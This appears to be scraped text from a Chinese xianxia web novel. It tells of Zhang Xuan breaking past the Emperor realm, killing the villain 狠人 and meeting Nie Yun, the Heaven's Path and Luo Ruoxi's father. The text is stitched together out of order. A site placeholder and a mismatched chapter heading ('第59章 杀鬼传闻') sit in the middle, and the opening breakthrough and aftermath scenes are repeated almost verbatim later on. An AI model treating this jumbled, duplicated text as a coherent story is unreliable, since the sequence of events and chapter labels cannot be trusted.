一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第59章 杀鬼传闻 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 